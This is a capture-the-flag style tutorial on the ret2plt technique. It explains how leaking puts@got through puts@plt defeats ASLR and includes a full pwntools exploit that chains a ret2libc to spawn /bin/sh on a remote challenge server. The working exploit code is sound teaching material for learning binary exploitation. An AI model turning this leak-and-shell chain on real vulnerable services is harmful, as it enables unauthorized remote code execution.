# ret2plt

The `ret2plt` exploit is one of the most popular exploits for beating ASLR. This exploit involves calling `puts@plt` and passing the address of `puts@got` as an argument. This will cause `puts` to leak its own address in `libc`.

Once we have this, we can set the return address to `main` and call `system` with the address of `"/bin/sh"` as an argument.

> Be sure that you've read the introduction page for ASLR. This is important for discussing the PLT and GOT tables, and the theory behind this exploit.

### Static Analysis

If we perform `checksec` on this binary:

```
$ checksec ret2plt
[*] '/home/joybuzzer/Documents/vunrotc/public/binex/07-
aslr/ret2plt/src/ret2plt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

For this challenge, we'll find that it's essential that PIE is **turned off**. This is because we will rely on knowing the absolute addresses of the PLT and GOT tables in order to jump to them.

We'll scan through `gdb` to check for vulnerabilities. There are two functions: `main` and `read_in`.

- `main()` does nothing more than call `read_in` and then prints *You lose!*.
- `read_in()` has a `gets()` call into `ebp-0x30`. There's nothing else useful in this function.

This isn't much to go off. We'll have to better understand the ret2plt vulnerability in order to exploit this binary.

### How the Exploit works

The ret2plt exploit is a bit more complicated than some of our previous ones. Recall that the PLT table is a list of stubs that point to the GOT table. The GOT table is a list of addresses that point to the actual functions in `libc`.

We said in the introduction paragraph that when we call entries in the PLT table, it's identical to calling the library function itself. Because the PLT is a compile-time construct, we know its address at compile-time. However, the GOT table is a run-time construct, so we don't know its address until the program is actually running.

When ASLR randomizes the address space, it randomizes the address of the GOT table. Therefore, if we can somehow leak one of the values inside the GOT table, we can leak the address of `libc` in memory. This is the key to beating ASLR.

The most common way to do this is to leak the address of `puts`. We do this by passing `puts@got` as an argument to `puts@plt`. This will cause `puts` to print its own address in memory. We can then use this address to calculate the base address of `libc` in memory.

> *Why does this work?* Recall that the GOT table connects a function call to the actual function in `libc`. We know the address of the GOT table during runtime, but we can't directly access the value that it points to.
>
> When we pass parameters to a function, function arguments actually take **a pointer to the value**. Therefore, when we pass the GOT entry for `puts` (i.e., `puts@got`), the `puts` function will dereference that pointer and provide us with the value that that address. This value is the true address of `puts` in `libc`!

Now, we need to do this in our exploit. We'll need to pass `puts@got` to `puts@plt`. This will leak the true address of `puts` in `libc`. Since we know the offset, we'll then compute the base address and beat ASLR!

### Writing the Exploit

The pwntools library helps us with this exploit. This exploit will come in two parts:

1. Performing the `ret2plt` exploit to leak the address of `puts` in `libc`, hence beating ASLR.
2. Performing a `ret2libc` exploit -- calling `system` with the address of `"/bin/sh"` as an argument to spawn a shell.

##### Part 1: Leak the address of `puts` in `libc`

In order to do this, we need to overflow the buffer, then call `puts@plt` using `puts@got` as an argument. If you forgot the structure of the stack frame when passing arguments in 32-bit, refer to the *args* challenge.

This payload will do the trick:

```
# perform the ret2plt
payload = b'A' * 52
payload += p32(elf.plt.puts)
payload += p32(elf.sym.main)
payload += p32(elf.got.puts)
```

*Why is there a `elf.sym.main` in there?* When we've done this in the past, we've used `0x0` as a placeholder for the return address. This time, however, the return address is important. We don't want the program to crash after we've leaked the address. By returning to `main`, we can run the program again knowing the base `libc` address and perform a `ret2libc` exploit.

Once we've done this, we'll send off the payload. We'll need to receive the leaked address and calculate the base address of `libc`.

```
p.sendline(payload)
leak = u32(p.recv(4))
libc.address = leak - libc.sym.puts
log.info("LIBC leaked: " + hex(libc.address))
```

`u32` performs the opposite of `p32`. It converts a 4-byte string into an integer.

We've beaten ASLR! Now, we can perform a `ret2libc` exploit.

##### Part 2: Spawn a shell

We'll need to call `system` with the address of `"/bin/sh"` as an argument. This time, the return address doesn't matter, so we can use `0x0` as a placeholder.

```
# perform the ret2libc
payload = b'A' * 52
payload += p32(libc.sym.system)
payload += p32(0x0)
payload += p32(next(libc.search(b'/bin/sh')))
```

Then, we send this off and ask for an interactive shell!

```
p.sendline(payload)
p.interactive()
```

This will give a shell on the remote system! Here is the full exploit:

```
from pwn import *

elf = context.binary = ELF('./ret2plt')
libc = elf.libc
p = remote('vunrotc.cole-ellis.com', 6300)

print(p.recvline())

# perform the ret2plt
payload = b'A' * 52
payload += p32(elf.plt.puts)
payload += p32(elf.sym.main)
payload += p32(elf.got.puts)

p.sendline(payload)
leak = u32(p.recv(4))
libc.address = leak - libc.sym.puts
log.info("LIBC leaked: " + hex(libc.address))
```

```python
print(p.recvline())

# perform the ret2libc
payload = b'A' * 52
payload += p32(libc.sym.system)
payload += p32(0x0)
payload += p32(next(libc.search(b'/bin/sh')))

p.sendline(payload)
p.interactive()
```